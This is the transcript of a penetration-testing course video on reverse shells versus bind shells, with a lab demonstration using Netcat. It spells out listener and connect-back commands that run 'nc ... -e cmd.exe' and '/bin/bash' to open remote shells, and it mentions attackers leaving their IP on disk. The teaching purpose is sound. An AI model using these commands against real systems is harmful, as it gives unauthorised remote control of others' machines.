[MUSIC PLAYING]
Reverse shells.
In this video, we're going to get an understanding of what
reverse shells are, how they work,
and some of the advantages reverse shells
have over bind shells.
All right, so let's get an understanding of what they are.
Now, if you take a look at the name reverse shells,
that pretty much should give you an idea
as to how it differs in regards to or in comparison to bind
shells.
It is essentially the reverse of what a bind shell is.
So a reverse shell is a type of remote shell, where
the target connects directly to a listener on the attacker's
system.
So again, the rules have been switched, consequently allowing
for execution of commands on the target system.
So if we take a look at the diagram here,
you can see that the attacker now
has the Netcat listener set up.
So an example of this would be during the fixing
exploit section of this course, where
we were taking a look at how to fix a specific exploit.
In that case, if you remember correctly,
we were able to set up a Netcat listener
to receive a connection from the actual target system.
Now, it's very important to note that in the context
of a reverse shell, the connection can actually
be initiated from the target system without Netcat.
And you'll actually see what this means really.
Because in the context of a bind shell,
you actually needed to set up a listener on the target system,
and this can really, only, realistically be
done with Netcat.
However, in the context of a reverse shell,
the only thing you need is you need
a connection being made from the target system to the listener.
So that's the key thing that you need to remember here.
And again, if we just take a look at the diagram
again, what we're going to do is set up a Netcat listener
on the attacker's system, and then
we need to find a way of obtaining--
or we need to find a way of getting the actual target
system to connect to the Netcat listener.
Now, as I said, in the practical demonstration,
we will be doing this through the use of a Netcat
or we'll essentially be connecting to the Netcat
listener in client mode.
But this can be done in other ways,
and that's something that I'll be exploring in the next video.
So a reverse shell is much better
than a bind shell for the first reason, which I just went over.
The fact that you don't need to set up a listener on the target
system.
Furthermore, it is better because outgoing traffic
from a system is really not blocked by firewalls.
And as a result, the actual chances
of success when it comes down to using
a reverse shell over a bind shell are much higher.
So these really are the two advantages.
Now, what is the issue with a reverse shell?
Well, let's say we are able to get the target
system to connect somehow to the attacker system.
Well, in order for that connection to be made,
the target system needs the IP address of the attacker system,
which is bad for two reasons.
Number one, the exploit that you'll be using
will actually have to find a way of getting the target IP.
The target IP transferred over to the target system,
or, rather, the attacker's IP transferred over
to the target system.
And the other issue with that is that the attacker's IP is then
leaked or made public if that particular connection is ever
noted.
They'll immediately be able to tell that this IP is actually
the IP address of an attacker.
So you need to keep that in mind.
And of course, if the exploit file is currently
on disk on the target system, and that file contains
the attacker's IP, that's another piece of information
that a security analyst will be able to obtain.
And at that point, you have essentially
been discovered, even if you're utilizing a C2 or command
and control server to facilitate the attack
or to receive a connection from the target system.
So whenever you see or whenever you utilize the Metasploit
framework, and you're trying to obtain a Meterpreter session,
you are essentially obtaining a reverse shell.
And I've already gone through that in the Metasploit
framework course.
I've explained the different types of Meterpreter payloads
and how they work.
But you can see that reverse shells
are much better than bind shells and are frequently
used by attackers and penetration testers.
All right, so now that we have an understanding of what
reverse shells are and their advantage
over your standard bind shell, we
can actually get started with the practical demonstration.
So again, we're going to be using the same lab environment.
So fire it up, and we can get started
with the practical section.
All right, so I'm back within the lab environment.
And again, you'll be provided with the target IP address,
so just keep that at hand.
Although, we will not really require it, given the fact
that we're setting up a reverse shell.
What's going to be more important
is the attacker's IP address.
So again, we are provided with the attacker's machine
as well as the target machine, and we're
going to be using this flow.
So the attacker system is going to be Kali Linux.
And because we're setting up a reverse shell,
this is where we're going to be setting up the Netcat listener.
And the target system is going to be the Windows system.
So I've already transferred the Netcat exe,
which I've highlighted how to do in the previous videos.
And I've just modified the actual font size
and changed the background color,
so you can see what's going on.
So again, revisiting the slides, in the case of a reverse shell,
we need to set up the Netcat listener
on the attacker system, which, in this case, is Kali Linux.
So I'll open up my terminal here.
And in order to do this, we can use Netcat
and say nc nvlp 1234.
However, in this case, because this is a reverse shell,
we do not need to specify the actual shell
that we want executed.
So we do not need to say cmd.exe.
That will not make much sense.
So we can just set up the listener.
And then from the target side-- remember,
the target is going to be making the connection
or is going to be connecting to the listener on the attacker's
side, so that is outgoing traffic.
So we can just hit Enter, and we can head over
into the target system, which is running Windows.
And this is what we are trying to gain a reverse shall on.
We can say, nc.exe.
We're making a connection, so we can say, nc nv for no DNS
resolution and verbose output.
And then, we specify the attacker's IP address.
So remember, this is one of the disadvantages of this.
The attacker's IP address needs to be
available on the target system in order
for the connection to be made.
So I've just copied the attacker's IP address.
And of course, that can be obtained
by just opening up a new terminal,
ifconfig, and getting the IP address associated
with the interface ethernet 1.
In your case, it's going to be different, but just
copy the value there.
And I've already done that.
So I'll head over into the target machine.
So we're connecting to the attacker's IP on port 1234.
And again, feel free to change the port
that you're listening on.
The only reason why I'm using 1234 is to avoid any confusion.
Once that is done, we can now execute
on the target site, the shell that we want access,
that we essentially require or that
will provide us with remote access or the ability
to execute commands remotely.
So in this case, because the target system
is a Windows system, we can say, -e cmd.exe
or PowerShell.exe, right?
So I'll hit Enter.
And you can see the connection is made,
and we head over to the attacker system.
You can see that we get a command shell
session or a command prompt session,
and we're able to execute commands.
So who am I, and we can then perform whatever
we wanted to do as an attacker.
So that is how a reverse shell works.
Now, as I said, this process can also
be replicated for Linux systems.
So again, if I just show you how this would work locally.
So if we wanted to obtain a reverse shell on our Kali Linux
system, we could do that.
Although, that really doesn't make any sense.
So what I mean is, what we can do
is we can set up a listener on Kali.
So we can say, nc nvlp 1234, and we
can obtain a reverse shell on Kali as well.
So I know that might be a little bit confusing.
But again, it will make sense in a few seconds.
So let me just open up both the terminals here.
Then, we also have set up the listener.
And I'll just hit Enter there, and that is listening.
So now, on the other terminal, we can say nc,
and we want to connect to our own IP, so nc -nv.
And we can paste the attacker's IP there or just local host.
And the port is 1234, so we're connecting to that port, where
the Netcat listener is running.
And because this is a Linux system,
we're going to execute /bin.bash.
And on the listener, we should receive a reverse shell,
which, again, gives us access to Kali, which we already had.
So there we are, we get a connection, ls -al,
and you get the idea.
So again, the process can be repeated on multiple operating
systems, irregardless of whether or not it's Windows or Linux.
And all you need to do is just change
the shell that's being executed.
Now, as I said, in the actual slides,
the great thing about a reverse shell
is, because the connection to the net catalyst
is being made from the target system,
the connection doesn't need to be made via Netcat.
It can also be made via some PowerShell code
or, in the case of Linux, by some standard bash code,
and that's something that I'll be exploring and highlighting
in the next video.
So this is pretty much just a standard demonstration
of how a reverse shell works.
And you can see the differences in terms
of the actual connection.
And I've already highlighted the advantages
of using a reverse shell.
So that is going to conclude the practical demonstration
side of this video.
All right, so now that we know how a reverse shell works,
and how it can be set up, and essentially orchestrated
with Netcat, we are going to be taking
a look at a reverse cheatsheet and how we can essentially
simplify the process of obtaining
a reverse shell without reliance on Netcat,
and that's what we'll be exploring in the next video.
So I'll see you there.